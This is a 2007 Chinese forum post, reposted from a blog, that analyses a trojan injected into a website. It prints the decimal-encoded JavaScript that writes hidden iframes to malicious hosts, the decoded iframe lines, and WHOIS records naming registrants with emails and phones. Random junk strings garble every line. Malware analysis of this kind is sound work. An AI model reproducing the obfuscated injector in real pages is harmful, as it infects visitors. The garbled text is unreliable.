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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, QKz2ONV=)  
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http://www.areway.cn/?p=175 6x;"T+BSSS  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: nYRD>S?uz  
          <N 80MU L|  
<script>t=’60,105,102,114,97,109,101, g5Hsz,x  
32,115,114,99,61,104,116,116,112,58,47,47, I GcR5/3  
102,114,101,101,46,117,45,117,117,117,46,99, S9/\L6Rmf  
110,47,101,114,114,111,114,46,104,116,109, DML0paOm5  
32,119,105,100,116,104,61,49,48,48,32,104, P#A|Pn<p  
101,105,103,104,116,61,48,62,60,47,105,102, 8r\xQr'8h  
114,97,109,101,62′; . 55aY~We  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> Yic'p0< ?V  
                                                                                                  i3Nt?FSN  
<script>t=’60,105,102,114,97,109,101,32,115, +xmZK<{<  
114,99,61,104,116,116,112,58,47,47,102,114, Git2Cet  
101,101,46,117,45,117,117,117,46,99,110,47, SR)@'-Wd  
101,114,114,111,114,46,104,116,109,32,119, '?fn} V  
105,100,116,104,61,49,48,48,32,104,101,105, Yu^}  
103,104,116,61,48,62,60,47,105,102,114,97, v g tJ+GjN  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); [iSLn3XXRX  
document.write(t);</script> x~yd/ R  
                                                                                                  [qt^gy)  
<html xmlns=” v#sx9$K T  
http://www.w3.org/1999/xhtml ^T@-yys  
“> /_bM~g  
<head> V|0UwS\n  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> -H_7GVSnl  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> BT{({3  
<title>首页 - 爱生活家庭网 uqy~hY  
                                                                                                                                                    DNM~/Oo  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 uoBPi[nK  
转换字符串后的大概内容是(谁点击后果自付): ,%m$_wA$  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… gD fVY%[Z  
                                                                                                                                  pm;g)p?  
查询玉米u-uuu.cn的详细信息: 7@VR:~n}k  
Domain Name: u-uuu.cn GHWpL\A{8`  
ROID: 20070901s10001s64972306-cn M9S[{Jj*  
Domain Status: ok `V0]t_*D  
Registrant Organization: 王雷 7 ~ Bo*UM  
Registrant Name: 王雷 wY}+d0Ch  
Administrative Email: czlovexs@126.com ~RE`@/wQ]  
Sponsoring Registrar: 北京万网志成科技有限公司 Ix5yQgnB}j  
Name Server:ns.yovole.com 0MzHr2?'P  
Name Server:ns1.yovole.com 3 ?/}  
Registration Date: 2007-09-01 17:54 |y=D^NTG  
Expiration Date: 2008-09-01 17:54 #$fFp  
最后PING了一下地址 都没有什么…. *m]%eU(  
                                                                                                Z=sAR(n}~  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. EA>$t\z  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> AB#hh i#  
<script language=”javascript” src=” 3vs2}IV'  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script !*#=7^#  
> ;6)|'3.B9  
这个玉米应该有可能是木马作者的: CnA*o 8w  
foafau.info的详细信息: z KWi9  
Access to INFO WHOIS information is provided to assist persons in S"Zs'7dy`  
determining the contents of a domain name registration record in the pK1(AV'L  
Afilias registry database. The data in this record is provided by |s`q+ U-  
Afilias Limited for informational purposes only, and Afilias does not m :^,qC  
guarantee its accuracy.  This service is intended only for query-based Ox43(S0~  
access. You agree that you will use this data only for lawful purposes )5V1H WjU  
and that, under no circumstances will you use this data to: (a) allow, C ILk  
enable, or otherwise support the transmission by e-mail, telephone, or #6m//0 u  
facsimile of mass unsolicited, commercial advertising or solicitations If#7SF)n'  
to entities other than the data recipient’s own existing customers; or 1X9sx&5H  
(b) enable high volume, automated, electronic processes that send n2O7n @8  
queries or data to the systems of Registry Operator, a Registrar, or uc"u@ _M  
Afilias except as reasonably necessary to register domain names or wLUmRo56aR  
modify existing registrations. All rights reserved. Afilias reserves ZyWC_r!  
the right to modify these terms at any time. By submitting this query, O 1X !  
you agree to abide by this policy. ZmHl~MR@  
Domain ID:D22418703-LRMS {S&&X&A`v  
Domain Name:FOAFAU.INFO *AN#D?X_  
Created On:20-Nov-2007 16:05:42 UTC i\eykYc,  
Last Updated On:20-Nov-2007 16:05:44 UTC XAFTLNV>  
Expiration Date:20-Nov-2008 16:05:42 UTC g%[Ruugu  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) n<$I,IRE  
Status:CLIENT DELETE PROHIBITED nMbV{h ,  
Status:CLIENT RENEW PROHIBITED #5I "M WA  
Status:CLIENT TRANSFER PROHIBITED r#~6FpFVK^  
Status:CLIENT UPDATE PROHIBITED `4p9K  
Status:TRANSFER PROHIBITED vA{[F7  
Registrant ID:GODA-040110615 u1kbWbHu(  
Registrant Name:liu hong hP#&]W3:  
Registrant Organization: Mo<p+*8u:  
Registrant Street1:beijing %`\{Nx k  
Registrant Street2: nz&JG~Qfm  
Registrant Street3: J/*[wj  
Registrant City:beijing ^~I  
Registrant State/Province: +%~g$#tlJo  
Registrant Postal Code:100000  MU^Z*r  
Registrant Country:CN <z4!m/f [(  
Registrant Phone:+86.860108888777 J\0YL\jw1K  
Registrant Phone Ext.: !%(B2J  
Registrant FAX: Yb\36|  
Registrant FAX Ext.: \5l}5<|  
Registrant Email:bbbshiji@163.com TPzoU" qh  
Admin ID:GODA-240110615 v>P){VT  
Admin Name:liu hong ?d%}K76V<  
Admin Organization: ixkg,  
Admin Street1:beijing 5~? J  
Admin Street2: abv]  
Admin Street3: cS[`1y,\3  
Admin City:beijing 0nuFWV  
Admin State/Province: pVY.&XBZ$  
Admin Postal Code:100000 5VcYdu3  
Admin Country:CN #,;k>2j0  
Admin Phone:+86.860108888777 ouI0"R&@  
Admin Phone Ext.: ]_,~q@r$  
Admin FAX: *]=)mM#  
Admin FAX Ext.: BW;u? 1Xa  
Admin Email:bbbshiji@163.com _B[(/wY  
Billing ID:GODA-340110615 7> QtO  
Billing Name:liu hong 32Z4&~ I  
Billing Organization: ~!OjdE!u  
Billing Street1:beijing U#P#YpD;==  
Billing Street2: "8X+F%  
Billing Street3: ij),DbWd  
Billing City:beijing RPWYm  
Billing State/Province: ro{MD s  
Billing Postal Code:100000 M>#{~zr  
Billing Country:CN >j?uI6Uw  
Billing Phone:+86.860108888777 M@3H]t?  
Billing Phone Ext.: zYNJF>^<  
Billing FAX: U|QDV16f  
Billing FAX Ext.: ]9:G3vq  
Billing Email:bbbshiji@163.com '37b[~k4  
Tech ID:GODA-140110615 Xz@>sY>Jc  
Tech Name:liu hong "8I4]'  
Tech Organization: T_dd7Ym'8  
Tech Street1:beijing 8K/lpqw  
Tech Street2: D. e*IP1R  
Tech Street3: ZjK~s)RC  
Tech City:beijing 90!Ib~7zH  
Tech State/Province: +A3 H#'  
Tech Postal Code:100000 a*8}~p,  
Tech Country:CN HKwGaCj`  
Tech Phone:+86.860108888777 |"< I\Vs:  
Tech Phone Ext.: y()( 8L  
Tech FAX: uI[*uAR  
Tech FAX Ext.: one>vi`=  
Tech Email:bbbshiji@163.com yiq#p "Hs  
Name Server:NS27.DOMAINCONTROL.COM :KLD~k7yA(  
Name Server:NS28.DOMAINCONTROL.COM IY&a!  
Name Server: d w|0K+-PH  
Name Server: "gz;Q  
Name Server: ;~J~g#  
Name Server: _<7FR:oBZ  
Name Server: L9@jmh*E  
Name Server: UK,P?_e  
Name Server: K/-D 5U  
Name Server: As`^Ku&  
Name Server: DvCt^O*  
Name Server: /WfxI>v  
Name Server: |*5nr5c_L  
                                                                                                          4#w^PM8}  
接着下载每个文件里面的代码: qu%s 7+  
一步一步看.. / ["T#`  
^d*>P|n*@e  
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Vvj]2V3  
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都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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